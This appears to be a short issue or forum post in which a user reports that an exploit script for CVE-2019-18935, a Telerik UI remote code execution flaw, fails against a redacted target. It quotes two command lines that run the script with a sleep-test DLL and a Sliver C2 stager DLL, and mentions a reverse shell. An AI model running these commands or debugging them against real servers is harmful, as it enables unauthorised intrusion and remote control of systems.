your code dosen't work

[ParastouRazi]

HI, I try all of code for several days but even stager also does not work ,i install sliver in kali but sliver-stager code also doesn't work , I enable debug in sliver-stage code and set 1 ,but it doesn't show any error and also sleep doesn't increase response time
I test these
python3 CVE-2019-18935.py -v 2013.2.717.40 -p sleep-05202102280267-amd64.dll -u http://xxx/Telerik.Web.UI.WebResource.axd?type=rau
python3 CVE-2019-18935.py -v 2017 -u http://xxx/Telerik.Web.UI.WebResource.axd?type=rau -p sliver-stager-05202117080198-x86.dll and reverse shell
please help